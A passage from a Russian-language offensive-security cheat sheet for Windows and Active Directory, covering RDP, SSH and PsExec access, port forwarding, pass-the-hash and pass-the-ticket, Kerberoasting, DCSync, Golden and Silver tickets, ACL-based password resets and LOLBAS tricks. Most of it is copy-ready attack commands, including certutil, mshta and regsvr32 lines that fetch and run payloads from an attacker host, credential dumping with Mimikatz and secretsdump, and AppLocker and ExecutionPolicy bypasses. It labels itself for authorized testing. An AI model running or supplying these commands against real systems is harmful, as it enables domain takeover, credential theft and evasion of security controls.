```
`/f` — полный экран, `/w` и `/h` — разрешение

**CMD — пример:** подключиться к хосту в полноэкранном режиме:
```
mstsc /v:192.168.1.20 /f
```

**CMD — пример с кредами:** добавить кредс в Credential Manager и сразу открыть RDP:
```
cmdkey /generic:192.168.1.20 /user:CORP\jsmith /pass:P@ssw0rd
mstsc /v:192.168.1.20
```

*PowerShell-обёртки нет — `mstsc` запускается из PS как внешняя команда без изменений.*

---

#### 15. SSH — подключение через встроенный OpenSSH

**Задача:** Подключиться по SSH к Linux-хосту или Windows-машине с включённым OpenSSH Server. Встроен в Windows 10 1809+ и Server 2019+. `<USER>` — имя пользователя, `<TARGET>` — IP или hostname.

**CMD — формат:** базовое / с ключом / с проброской портов:
```
ssh <USER>@<TARGET>
ssh -i <FILE> <USER>@<TARGET>
ssh -L <LPORT>:127.0.0.1:<RPORT> <USER>@<TARGET>
```

**CMD — пример:** подключиться к Linux-серверу:
```
ssh root@192.168.1.50
```

**PowerShell — формат:** тот же `ssh`, PS-обёртки нет:
```powershell
ssh <USER>@<TARGET>
```

**PowerShell — пример:**
```powershell
ssh jsmith@192.168.1.50
```

---

#### 16. PsExec — выполнение команд с интерактивным выводом

**Задача:** Запустить команду или cmd-сессию на удалённом хосте с выводом прямо в терминал. Требует Sysinternals PsExec. Аутентифицируется через SMB (порт 445). `<TARGET>` — IP/hostname, `<CMD>` — команда. ⚠️

**CMD — формат:** запустить команду / открыть cmd-сессию / запустить от SYSTEM:
```
PsExec.exe \\<TARGET> -u <USER> -p <PASSWORD> <CMD>
PsExec.exe \\<TARGET> -u <USER> -p <PASSWORD> cmd
PsExec.exe \\<TARGET> -u <USER> -p <PASSWORD> -s cmd
```
`-s` — запуск от SYSTEM

**CMD — пример:** получить cmd-сессию от SYSTEM на удалённом хосте:
```
PsExec.exe \\192.168.1.20 -u CORP\jsmith -p P@ssw0rd -s cmd
```

*PowerShell-обёртки нет — `PsExec.exe` запускается из PS как внешняя команда без изменений.*

---

### Раздел 4. Туннелирование и проброс портов

---

#### 17. netsh portproxy — статический проброс порта

**Задача:** Пробросить локальный порт на удалённый хост:порт. Встроен в Windows, не требует дополнительных инструментов. Используется для доступа к сервисам во внутренней сети через скомпрометированный хост. `<LPORT>` — локальный порт, `<TARGET>` — IP назначения, `<RPORT>` — порт назначения. ⚠️

**CMD — формат:** добавить правило / показать / удалить:
```
netsh interface portproxy add v4tov4 listenport=<LPORT> listenaddress=0.0.0.0 connectport=<RPORT> connectaddress=<TARGET>
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenport=<LPORT> listenaddress=0.0.0.0
```

**CMD — пример:** слушать на 0.0.0.0:8080, перенаправлять на 10.10.10.5:80:
```
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=10.10.10.5
netsh interface portproxy show all
```

*PowerShell-эквивалента нет — `netsh` запускается из PS без изменений.*

---

#### 18. SSH Local Port Forwarding — туннель к внутреннему ресурсу

**Задача:** Создать туннель, в котором локальный порт на атакующей машине проксируется через SSH-сервер к внутреннему ресурсу, недоступному напрямую. `<LPORT>` — локальный порт, `<TARGET>` — адрес внутреннего ресурса, `<RPORT>` — его порт, `<USER>@<SSHHOST>` — SSH-сервер-прыгун.

**CMD — формат:**
```
ssh -L <LPORT>:<TARGET>:<RPORT> <USER>@<SSHHOST> -N
```
`-N` — не запускать команду, только туннель

**CMD — пример:** проброс локального порта 1433 на внутренний MSSQL 10.10.10.20:1433 через SSH-прыгун:
```
ssh -L 1433:10.10.10.20:1433 jsmith@192.168.1.50 -N
```

*После этого подключаться к `127.0.0.1:1433` — трафик пойдёт к 10.10.10.20:1433.*

**PowerShell — формат:** тот же `ssh`, запускается из PS без изменений:
```powershell
ssh -L <LPORT>:<TARGET>:<RPORT> <USER>@<SSHHOST> -N
```

---

#### 19. SSH Remote Port Forwarding — обратный туннель

**Задача:** Пробросить порт с атакующей машины на скомпрометированный хост — нужно, когда хост не доступен напрямую, но сам может инициировать SSH-соединение наружу. `<RPORT>` — порт на SSH-сервере (атакующей машине), `<TARGET>` — куда форвардить изнутри, `<LPORT>` — порт назначения.

**CMD — формат:** выполняется на скомпрометированном хосте Windows:
```
ssh -R <RPORT>:127.0.0.1:<LPORT> <USER>@<LHOST> -N
```

**CMD — пример:** пробросить порт RDP (3389) внутреннего хоста на порт 13389 атакующей машины `192.168.1.100`:
```
ssh -R 13389:127.0.0.1:3389 kali@192.168.1.100 -N
```

*После этого на атакующей машине: `mstsc /v:127.0.0.1:13389`*

**PowerShell — формат:** аналогично CMD:
```powershell
ssh -R <RPORT>:127.0.0.1:<LPORT> <USER>@<LHOST> -N
```

---

#### 20. SSH Dynamic Forwarding — SOCKS5-прокси

**Задача:** Поднять SOCKS5-прокси через SSH-прыгун, чтобы весь трафик (браузер, инструменты) проходил через внутреннюю сеть. `<LPORT>` — локальный SOCKS5-порт, `<USER>@<SSHHOST>` — SSH-прыгун. ⚠️

**CMD — формат:**
```
ssh -D <LPORT> <USER>@<SSHHOST> -N
```

**CMD — пример:** SOCKS5 на локальном порту 1080 через SSH-прыгун:
```
ssh -D 1080 jsmith@192.168.1.50 -N
```

*После этого настроить браузер или proxychains на SOCKS5 127.0.0.1:1080.*

**PowerShell — формат:**
```powershell
ssh -D <LPORT> <USER>@<SSHHOST> -N
```

---

### Раздел 5. Распределение файлов и скриптов

---

#### 21. Копирование файлов через SMB/UNC

**Задача:** Передать файлы между хостами через общий сетевой путь. Работает без дополнительных инструментов, использует существующие SMB-соединения. `<TARGET>` — IP/hostname, `<SHARE>` — имя шары.

**CMD — формат:**
```
copy <FILE> \\<TARGET>\<SHARE>\
xcopy <FILE> \\<TARGET>\<SHARE>\ /y
robocopy <DIR> \\<TARGET>\<SHARE> /e
```

**CMD — пример:** скопировать инструмент на удалённый хост через ADMIN$:
```
copy C:\Temp\tool.exe \\192.168.1.20\C$\Temp\
```

**PowerShell — формат:**
```powershell
Copy-Item <FILE> \\<TARGET>\<SHARE>\
Copy-Item <DIR> \\<TARGET>\<SHARE>\ -Recurse
```

**PowerShell — пример:**
```powershell
Copy-Item C:\Temp\tool.exe \\192.168.1.20\C$\Temp\
```

---

#### 22. Копирование файлов через PS-сессию (WinRM)

**Задача:** Передать файл напрямую через существующую PSSession без монтирования шары. Удобно, когда SMB закрыт фаерволом, а WinRM открыт. `<SESSION>` — переменная с открытой сессией, `<FILE>` — локальный источник, `<OUT>` — путь на удалённой машине.

*CMD-эквивалента нет — используйте PowerShell.*

**PowerShell — формат:** скопировать на удалённую машину / с удалённой машины:
```powershell
Copy-Item -Path <FILE> -Destination <OUT> -ToSession $session
Copy-Item -Path <FILE> -Destination <OUT> -FromSession $session
```

**PowerShell — пример:** загрузить скрипт на удалённый хост, запустить, забрать результат:
```powershell
$cred = New-Object PSCredential("CORP\jsmith", (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force))
$session = New-PSSession -ComputerName 192.168.1.20 -Credential $cred

Copy-Item -Path "C:\Temp\collect.ps1" -Destination "C:\Temp\collect.ps1" -ToSession $session
Invoke-Command -Session $session -ScriptBlock { & C:\Temp\collect.ps1 }
Copy-Item -Path "C:\Temp\result.txt" -Destination "C:\Temp\result.txt" -FromSession $session

Remove-PSSession $session
```

---

#### 23. Импорт и выполнение PowerShell-модуля удалённо

**Задача:** Загрузить модуль (`.psm1` или `.ps1`) с удалённого хоста прямо в текущую сессию через PSSession — все функции модуля становятся доступны локально. Нужно для работы с AD-модулями без их установки. ⚠️

*CMD-эквивалента нет — используйте PowerShell.*

**PowerShell — формат:** импортировать модуль с удалённой машины в локальную сессию:
```powershell
$session = New-PSSession -ComputerName <TARGET> -Credential $cred
Import-PSSession -Session $session -Module <MODULENAME> -AllowClobber
```

**PowerShell — пример:** импортировать модуль ActiveDirectory с DC без локальной установки RSAT:
```powershell
$cred = New-Object PSCredential("CORP\jsmith", (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force))
$session = New-PSSession -ComputerName DC01 -Credential $cred
Import-PSSession -Session $session -Module ActiveDirectory -AllowClobber
Get-ADUser -Filter *
```

---

### Раздел 6. Передача хэша и выполнение без пароля

---

#### 24. Pass-the-Hash — аутентификация по NTLM-хэшу

**Задача:** Аутентифицироваться на удалённом хосте, используя NTLM-хэш вместо пароля открытым текстом. Хэш извлекается из LSASS/SAM и используется напрямую без необходимости его крекинга. ⚠️

*Встроенные инструменты Windows не поддерживают PtH напрямую. Ниже — стандартные инструменты пентеста.*

**Impacket (запускается на Linux / WSL):**

Формат хэша: `LM:NT`, где LM-часть можно указать как `aad3b435b51404eeaad3b435b51404ee` (пустой).
```
# wmiexec — cmd-сессия через WMI
impacket-wmiexec <DOMAIN>/<USER>@<TARGET> -hashes aad3b435b51404eeaad3b435b51404ee:<NTHASH>

# psexec — интерактивная cmd-сессия через SMB
impacket-psexec <DOMAIN>/<USER>@<TARGET> -hashes aad3b435b51404eeaad3b435b51404ee:<NTHASH>

# smbexec — cmd через SMB без записи бинаря на диск
impacket-smbexec <DOMAIN>/<USER>@<TARGET> -hashes aad3b435b51404eeaad3b435b51404ee:<NTHASH>
```
`<NTHASH>` — NT-часть хэша, `<DOMAIN>` — домен или `.` для локального аккаунта

**Пример:**
```
impacket-wmiexec CORP/Administrator@192.168.1.20 -hashes aad3b435b51404eeaad3b435b51404ee:fc525c9dc4a3b759bccf9a4ff9f19a27
```

**CrackMapExec / NetExec — массовая проверка хэша:**
```
# проверить хэш по диапазону хостов
crackmapexec smb 192.168.1.0/24 -u <USER> -H <NTHASH> --local-auth

# выполнить команду на всех хостах где хэш валиден
crackmapexec smb 192.168.1.0/24 -u <USER> -H <NTHASH> -x "whoami"
```

---

#### 25. Pass-the-Ticket — использование Kerberos-тикета

**Задача:** Инжектировать Kerberos-тикет (`.kirbi` файл) в текущую сессию Windows для аутентификации без пароля и хэша. Работает только внутри домена. ⚠️

**CMD — формат:** показать текущие тикеты / очистить / импортировать:
```
klist
klist purge
```

**CMD — пример:** посмотреть кэшированные тикеты текущей сессии:
```
klist
```

**PowerShell — формат:** инжект тикета из `.kirbi` файла через Rubeus:
```powershell
# Импортировать тикет в текущую сессию
.\Rubeus.exe ptt /ticket:<BASE64_OR_FILE.kirbi>

# Запросить TGT через Rubeus
.\Rubeus.exe asktgt /user:<USER> /rc4:<NTHASH> /domain:<DOMAIN> /ptt
```
`/ptt` — сразу инжектировать в текущую сессию, `<NTHASH>` — NT-хэш пользователя

**PowerShell — пример:** запросить TGT и инжектировать его:
```powershell
.\Rubeus.exe asktgt /user:jsmith /rc4:fc525c9dc4a3b759bccf9a4ff9f19a27 /domain:corp.local /ptt
klist
```

---

*Конец Блока 4. Разведка, Kerberos и LOLBAS — Блок 5.*

## Блок 5 — Разведка, Kerberos и LOLBAS (CMD / PowerShell)

Общая разведка домена, атаки на Kerberos, опасные права в AD,
Living Off the Land Binaries (LOLBAS), сбор данных BloodHound.
⚠️ — особенно полезно на этапе глубокой разведки и эскалации в домене.
Только для авторизованного тестирования.

---

### Раздел 1. Разведка домена

---

#### 1. Базовая информация о домене

**Задача:** Получить имя домена, SID, версию функционального уровня, информацию о контроллерах домена — отправная точка разведки в AD-среде. ⚠️

**CMD — формат:** домен и DC / информация о контроллерах:
```
net config workstation
nltest /dclist:<DOMAIN>
nltest /dsgetdc:<DOMAIN>
```

**CMD — пример:** найти все DC и PDC-эмулятор домена corp.local:
```
nltest /dclist:corp.local
nltest /dsgetdc:corp.local /pdc
```

**PowerShell — формат:**
```powershell
Get-ADDomain
Get-ADDomainController -Filter *
(Get-ADDomain).DomainSID
```

**PowerShell — пример:** вывести имя, SID и PDC-эмулятор домена:
```powershell
$d = Get-ADDomain
[PSCustomObject]@{
  Name           = $d.Name
  DomainSID      = $d.DomainSID
  PDCEmulator    = $d.PDCEmulator
  FunctionalLevel= $d.DomainMode
}
```

---

#### 2. Перечисление компьютеров домена

**Задача:** Получить список машин домена с ОС и статусом — найти серверы, потенциальные цели для движения и устаревшие системы. ⚠️

**CMD — формат:** все компьютеры / только серверы:
```
net view /domain:<DOMAIN>
net group "Domain Computers" /domain
```

**CMD — пример:**
```
net view /domain:corp.local
```

**PowerShell — формат:**
```powershell
Get-ADComputer -Filter * -Properties OperatingSystem, LastLogonDate |
  Select-Object Name, OperatingSystem, LastLogonDate, Enabled
```

**PowerShell — пример:** найти устаревшие ОС (XP, 2003, 2008) и неактивные машины:
```powershell
Get-ADComputer -Filter * -Properties OperatingSystem, LastLogonDate |
  Where-Object { $_.OperatingSystem -match 'XP|2003|2008|Vista' -or $_.LastLogonDate -lt (Get-Date).AddDays(-90) } |
  Select-Object Name, OperatingSystem, LastLogonDate |
  Sort-Object LastLogonDate
```

---

#### 3. Групповые политики (GPO)

**Задача:** Перечислить GPO — в них могут быть прописаны сценарии, пути к файлам, настройки безопасности и ранее рассмотренные GPP-пароли. ⚠️

**CMD — формат:** применённые GPO на текущем хосте:
```
gpresult /r
gpresult /h C:\Temp\gpo_report.html
```

**CMD — пример:** сохранить HTML-отчёт:
```
gpresult /h C:\Temp\gpo_report.html /f
```

**PowerShell — формат:** все GPO домена / ссылки GPO на OU:
```powershell
Get-GPO -All
Get-GPOReport -All -ReportType HTML -Path C:\Temp\gpo_all.html
```

**PowerShell — пример:** показать имена GPO и дату последнего изменения:
```powershell
Get-GPO -All | Select-Object DisplayName, GpoStatus, ModificationTime | Sort-Object ModificationTime -Descending
```

---

#### 4. Доверительные отношения между доменами

**Задача:** Найти доверия (Trusts) — они открывают возможности атак между лесами и доменами (cross-domain / cross-forest escalation). Двустороннее доверие = пользователи одного домена могут аутентифицироваться в другом. ⚠️

**CMD — формат:**
```
nltest /domain_trusts
nltest /trusted_domains
```

**CMD — пример:**
```
nltest /domain_trusts
```

**PowerShell — формат:**
```powershell
Get-ADTrust -Filter *
Get-ADTrust -Filter * | Select-Object Name, TrustType, TrustDirection, TrustAttributes
```

**PowerShell — пример:** только входящие или двусторонние доверия (потенциально опасные):
```powershell
Get-ADTrust -Filter * |
  Where-Object { $_.TrustDirection -ne 'Outbound' } |
  Select-Object Name, TrustType, TrustDirection
```

---

#### 5. Активные сессии и логоны пользователей

**Задача:** Найти, где залогинен конкретный пользователь или где есть активные сессии администраторов домена — цель для похищения токена или тикета. ⚠️

**CMD — формат:** сессии на текущем хосте / на удалённом:
```
query user
query user /server:<TARGET>
net session
```

**CMD — пример:** активные сессии на DC:
```
query user /server:DC01
```

**PowerShell — формат:** через CIM / через Event Log (логоны за последние N часов):
```powershell
Get-CimInstance Win32_LoggedOnUser | Select-Object -ExpandProperty Antecedent
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]]" |
  Select-Object -First 20 TimeCreated, Message
```

**PowerShell — пример:** найти где активны Domain Admin сессии через NetSessionEnum (требует PowerView или аналог):
```powershell
# Через стандартный WMI — показать интерактивные сессии
Get-CimInstance Win32_LogonSession | Where-Object LogonType -eq 2 |
  ForEach-Object {
    $lsid = $_.LogonId
    Get-CimInstance Win32_LoggedOnUser |
      Where-Object { $_.Dependent.LogonId -eq $lsid } |
      Select-Object -ExpandProperty Antecedent
  }
```

---

### Раздел 2. Атаки на Kerberos

---

#### 6. Kerberoasting — TGS-тикет для офлайн-брута

**Задача:** Запросить TGS-тикеты для аккаунтов с SPN — они шифруются паролем сервисного аккаунта и пригодны для офлайн-брута без повышенных привилегий. Слабые пароли ломаются за секунды. ⚠️

**CMD — формат:** запросить тикет для конкретного SPN. `<SPN>` — например `MSSQLSvc/sql01.corp.local:1433`:
```
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"
```

*Нативный способ через CMD: запросить тикет нельзя без PS или внешнего инструмента.*

**PowerShell — формат:** запросить все TGS и экспортировать в формат для hashcat:

Вариант 1 — через Rubeus (предпочтительно, выдаёт hashcat-формат сразу):
```powershell
.\Rubeus.exe kerberoast /outfile:<OUT>
.\Rubeus.exe kerberoast /user:<USER> /outfile:<OUT>
```

Вариант 2 — через Invoke-Kerberoast (PowerSploit/PowerView):
```powershell
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File <OUT> -Encoding ascii
```

**PowerShell — пример:** сохранить хэши для hashcat:
```powershell
.\Rubeus.exe kerberoast /outfile:C:\Temp\kerberoast_hashes.txt
```

*Брут офлайн: `hashcat -m 13100 C:\Temp\kerberoast_hashes.txt wordlist.txt`*

---

#### 7. AS-REP Roasting — тикет без предаутентификации

**Задача:** Получить зашифрованную часть AS-REP для аккаунтов с флагом `DoesNotRequirePreAuth` — не нужны учётные данные. Аналог Kerberoasting, но ещё проще: работает без домена-кредов. ⚠️

**CMD — формат:**

Через Rubeus без аутентификации в домене — нужны только имена пользователей:
```
.\Rubeus.exe asreproast /format:hashcat /outfile:<OUT>
.\Rubeus.exe asreproast /user:<USER> /format:hashcat /outfile:<OUT>
```

**CMD — пример:**
```
.\Rubeus.exe asreproast /format:hashcat /outfile:C:\Temp\asrep_hashes.txt
```

**PowerShell — формат:** через Impacket с Linux (если есть список пользователей):
```
impacket-GetNPUsers <DOMAIN>/ -usersfile users.txt -format hashcat -outputfile <OUT> -dc-ip <DC>
```

**PowerShell — пример:**
```powershell
# Найти уязвимых пользователей (из Блока 3, гл.20)
Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } -Properties DoesNotRequirePreAuth |
  Select-Object SamAccountName | Export-Csv C:\Temp\asrep_users.csv -NoTypeInformation
```

*Брут офлайн: `hashcat -m 18200 C:\Temp\asrep_hashes.txt wordlist.txt`*

---

#### 8. DCSync — репликация хэшей с контроллера домена

**Задача:** Использовать права репликации AD (`DS-Replication-Get-Changes-All`) для получения NTLM-хэшей любых пользователей, включая krbtgt и Administrator — без запуска кода на DC. Права репликации могут быть делегированы нестандартным аккаунтам. ⚠️

**Проверить права на репликацию на объекте домена:**
```powershell
(Get-ACL "AD:DC=corp,DC=local").Access |
  Where-Object { $_.ActiveDirectoryRights -match "Replication" } |
  Select-Object IdentityReference, ActiveDirectoryRights
```

**CMD / PowerShell — через Impacket (с Linux / WSL):** `<USER>` — пользователь с правами репликации:
```
impacket-secretsdump <DOMAIN>/<USER>:<PASSWORD>@<DC>
impacket-secretsdump <DOMAIN>/<USER>@<DC> -hashes :<NTHASH>
impacket-secretsdump <DOMAIN>/<USER>@<DC> -just-dc-user krbtgt
```

**Пример:** дамп всех хэшей домена:
```
impacket-secretsdump corp.local/jsmith:P@ssw0rd@DC01
```

**Через Mimikatz на скомпрометированной машине в домене:**
```
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt
lsadump::dcsync /domain:<DOMAIN> /all /csv
```

---

#### 9. Golden Ticket — TGT от имени krbtgt

**Задача:** После получения `krbtgt`-хэша создать TGT для любого пользователя с любыми группами — действует до смены пароля krbtgt (рекомендуется менять дважды). Устойчивый персистенс в домене. `<DOMAIN_SID>` — SID домена, `<KRBTGT_HASH>` — NT-хэш krbtgt. ⚠️

**Получить SID домена:**
```powershell
(Get-ADDomain).DomainSID.Value
```

**Создать Golden Ticket через Mimikatz:**
```
kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<KRBTGT_HASH> /user:Administrator /groups:512,513,518,519,520 /ptt
```
`/groups:512,519` — Domain Admins, Enterprise Admins; `/ptt` — немедленный инжект в сессию

**Пример:**
```
kerberos::golden /domain:corp.local /sid:S-1-5-21-3462954589-1477814478-3038608139 /rc4:7c9009c04ad2b9e6cc23ba68c8a0a29a /user:Administrator /ptt
```

**Проверить, что тикет работает:**
```
klist
dir \\DC01\C$
```

---

#### 10. Silver Ticket — тикет для конкретного сервиса

**Задача:** Создать TGS для конкретного сервиса, используя хэш сервисного аккаунта — без обращения к DC. Незаметнее Golden Ticket, так как не генерирует трафик аутентификации к DC. `<SERVICE>` — тип сервиса: `cifs`, `http`, `mssql`, `host`. ⚠️

**Создать Silver Ticket через Mimikatz:**
```
kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /target:<TARGET> /service:<SERVICE> /rc4:<NTHASH> /user:Administrator /ptt
```
`/target` — FQDN хоста сервиса, `/service` — тип сервиса, `/rc4` — хэш сервисного аккаунта

**Пример:** Silver Ticket для CIFS (общий доступ к файлам) на `fileserver01.corp.local`:
```
kerberos::golden /domain:corp.local /sid:S-1-5-21-3462954589-1477814478-3038608139 /target:fileserver01.corp.local /service:cifs /rc4:abc123... /user:Administrator /ptt
dir \\fileserver01\C$
```

---

#### 11. Делегирование — поиск уязвимых объектов

**Задача:** Найти машины и аккаунты с unconstrained / constrained delegation. Unconstrained delegation — машина хранит TGT любого подключившегося пользователя в памяти LSASS: если к ней подключится DA, его TGT можно похитить. ⚠️

**Unconstrained Delegation (наиболее опасное):**
```powershell
# Компьютеры с unconstrained delegation (кроме DC — у них это норма)
Get-ADComputer -Filter { TrustedForDelegation -eq $true } -Properties TrustedForDelegation |
  Where-Object { $_.Name -notmatch 'DC' } |
  Select-Object Name, DNSHostName

# Пользователи с unconstrained delegation
Get-ADUser -Filter { TrustedForDelegation -eq $true } -Properties TrustedForDelegation |
  Select-Object SamAccountName
```

**Constrained Delegation — показать разрешённые сервисы:**
```powershell
# Аккаунты с constrained delegation
Get-ADUser -Filter { msDS-AllowedToDelegateTo -ne '$null' } -Properties msDS-AllowedToDelegateTo |
  Select-Object SamAccountName, msDS-AllowedToDelegateTo

Get-ADComputer -Filter { msDS-AllowedToDelegateTo -ne '$null' } -Properties msDS-AllowedToDelegateTo |
  Select-Object Name, msDS-AllowedToDelegateTo
```

**Resource-Based Constrained Delegation (RBCD) — атрибут на целевом объекте:**
```powershell
Get-ADComputer <TARGET> -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
  Select-Object Name, msDS-AllowedToActOnBehalfOfOtherIdentity
```

---

### Раздел 3. Опасные права в AD (ACL-атаки)

---

#### 12. Перечисление опасных прав на объекты AD

**Задача:** Найти нестандартные права, выданные обычным пользователям на объекты AD — `GenericAll`, `GenericWrite`, `WriteOwner`, `WriteDACL`, `ForceChangePassword`. Каждое из них открывает путь к компрометации целевого объекта. ⚠️

*CMD-эквивалента нет — используйте PowerShell или BloodHound.*

**PowerShell — формат:** права на конкретный объект — `<OBJECT>` это SamAccountName или DistinguishedName:
```powershell
(Get-ACL "AD:$(Get-ADUser <OBJECT> | Select-Object -ExpandProperty DistinguishedName)").Access |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteOwner|WriteDACL' } |
  Select-Object IdentityReference, ActiveDirectoryRights, ObjectType
```

**PowerShell — пример:** найти всех, кто имеет GenericAll на аккаунт `jsmith`:
```powershell
(Get-ACL "AD:$(Get-ADUser jsmith | Select-Object -ExpandProperty DistinguishedName)").Access |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|WriteDACL|WriteOwner' } |
  Select-Object IdentityReference, ActiveDirectoryRights
```

---

#### 13. Смена пароля через право ForceChangePassword / GenericAll

**Задача:** Если у текущего пользователя есть право `ForceChangePassword` или `GenericAll` на другой аккаунт — можно сбросить ему пароль без знания текущего. `<OBJECT>` — целевой пользователь, `<PASSWORD>` — новый пароль. ⚠️

**CMD — формат:**
```
net user <OBJECT> <PASSWORD> /domain
```

**CMD — пример:**
```
net user jsmith NewP@ss123 /domain
```

**PowerShell — формат:**
```powershell
Set-ADAccountPassword -Identity <OBJECT> -Reset -NewPassword (ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force)
```

**PowerShell — пример:**
```powershell
Set-ADAccountPassword -Identity jsmith -Reset -NewPassword (ConvertTo-SecureString "NewP@ss123!" -AsPlainText -Force)
Enable-ADAccount -Identity jsmith
```

---

### Раздел 4. LOLBAS — Living Off the Land

Встроенные и подписанные Microsoft бинари, часто обходящие AppLocker, WDAC и сигнатурный AV.
Полный каталог: **lolbas-project.github.io**

---

#### 14. certutil — скачивание, кодирование, декодирование

**Задача:** Встроен во все версии Windows. Используется для скачивания файлов, кодирования/декодирования Base64, подделки расширения файла. Часто не блокируется политиками. ⚠️

**CMD — формат:** скачать / кодировать / декодировать:
```
certutil -urlcache -f -split "<URL>" "<OUT>"
certutil -encode "<FILE>" "<OUT>"
certutil -decode "<FILE>" "<OUT>"
```

**CMD — пример:** скачать файл, закодировать в Base64, декодировать обратно:
```
certutil -urlcache -f -split http://192.168.1.100/tool.exe C:\Temp\tool.exe
certutil -encode C:\Temp\tool.exe C:\Temp\tool.b64
certutil -decode C:\Temp\tool.b64 C:\Temp\tool_restored.exe
```

*PowerShell: те же команды без изменений.*

---

#### 15. mshta — запуск HTA и VBScript/JScript

**Задача:** Microsoft HTML Application Host — запускает `.hta` файлы и inline-скрипты. Обходит ограничения на запуск обычных скриптов, доверенный бинарь. Поддерживает загрузку с URL напрямую. `<URL>` — ссылка на `.hta` файл. ⚠️

**CMD — формат:** из файла / из URL / inline VBScript:
```
mshta "<FILE>"
mshta "<URL>"
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""<CMD>"":close")
```

**CMD — пример:** запустить HTA-файл прямо с HTTP-сервера:
```
mshta http://192.168.1.100/payload.hta
```

*PowerShell: те же команды без изменений.*

---

#### 16. rundll32 — запуск кода через DLL

**Задача:** Выполнить произвольный экспорт из DLL или встроенных компонентов Windows. Часто используется для обхода ограничений на запуск `.exe`. `<DLL>` — путь к DLL, `<EXPORT>` — имя экспортированной функции. ⚠️

**CMD — формат:** запуск DLL-экспорта / встроенные техники:
```
rundll32 <DLL>,<EXPORT>
rundll32 javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"<CMD>\");window.close()")
rundll32 url.dll,OpenURL "<URL>"
```

**CMD — пример:** запустить произвольный пейлоад через DLL-экспорт:
```
rundll32 C:\Temp\payload.dll,EntryPoint
```

*PowerShell: те же команды без изменений.*

---

#### 17. regsvr32 — Squiblydoo (обход AppLocker)

**Задача:** Зарегистрировать COM-объект из произвольного `.dll` или `.sct` (скриптлет). Классическая техника Squiblydoo — загружает XML-скриптлет прямо с URL, обходит AppLocker (regsvr32 — доверенный бинарь). `<URL>` — ссылка на `.sct` файл. ⚠️

**CMD — формат:** из URL / из файла:
```
regsvr32 /s /n /u /i:<URL> scrobj.dll
regsvr32 /s /n /u /i:<FILE> scrobj.dll
```

**CMD — пример:** загрузить и выполнить скриптлет с HTTP-сервера:
```
regsvr32 /s /n /u /i:http://192.168.1.100/payload.sct scrobj.dll
```

*PowerShell: те же команды без изменений.*

---

#### 18. msbuild — компиляция и запуск C# из XML

**Задача:** MSBuild компилирует и запускает inline C#-код прямо из `.xml`/`.csproj` файла — без создания исполняемого файла. Доверенный бинарь, обходит AppLocker и WDAC в ряде конфигураций. `<FILE>` — путь к `.csproj` или `.xml` файлу. ⚠️

**CMD — формат:**
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe "<FILE>"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe "<FILE>"
```

**CMD — пример:** запустить payload.csproj с inline C#:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Temp\payload.csproj
```

Минимальный шаблон файла `.csproj`:
```xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Run">
    <ClassExample />
  </Target>
  <UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
          public class ClassExample : Task {
            public override bool Execute() {
              System.Diagnostics.Process.Start("calc.exe");
              return true;
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

*PowerShell: те же команды без изменений.*

---

#### 19. installutil — обход AppLocker через C#

**Задача:** InstallUtil запускает методы `Install`/`Uninstall` из .NET сборки — через `/logfile=` / `/InstallStateDir=` заглушает вывод. Доверенный бинарь .NET Framework, обходит AppLocker. `<FILE>` — путь к `.exe`-сборке с методом Uninstall. ⚠️

**CMD — формат:**
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe /logfile= /logtoconsole=false /U "<FILE>"
```

**CMD — пример:**
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe /logfile= /logtoconsole=false /U C:\Temp\payload.exe
```

*PowerShell: те же команды без изменений.*

---

#### 20. wscript / cscript — запуск скриптов

**Задача:** Встроенные движки Windows Script Host для VBScript и JScript. `wscript` — GUI, `cscript` — консольный. Часто работают там, где запуск `.exe` заблокирован. `<FILE>` — путь к `.vbs` или `.js` файлу. ⚠️

**CMD — формат:** запуск VBScript / JScript / с параметрами:
```
wscript "<FILE>"
cscript "<FILE>"
cscript //E:JScript "<FILE>"
wscript //B "<FILE>"
```
`//B` — silent mode (без диалоговых окон), `//E:JScript` — явно задать движок

**CMD — пример:** запустить VBScript без всплывающих окон:
```
wscript //B C:\Temp\payload.vbs
```

**Минимальный `.vbs` для запуска команды:**
```vbscript
Set shell = CreateObject("WScript.Shell")
shell.Run "<CMD>", 0, False
```

*PowerShell: те же команды без изменений.*

---

#### 21. PowerShell — обход ограничений и политик

**Задача:** Набор техник для запуска PowerShell в обход `ExecutionPolicy`, AMSI и Script Block Logging. ⚠️

**CMD / PowerShell — форматы и техники:**

Обход ExecutionPolicy (не security boundary, просто настройка):
```powershell
powershell -ExecutionPolicy Bypass -File "<FILE>"
powershell -ExecutionPolicy Unrestricted -Command "<CMD>"
```

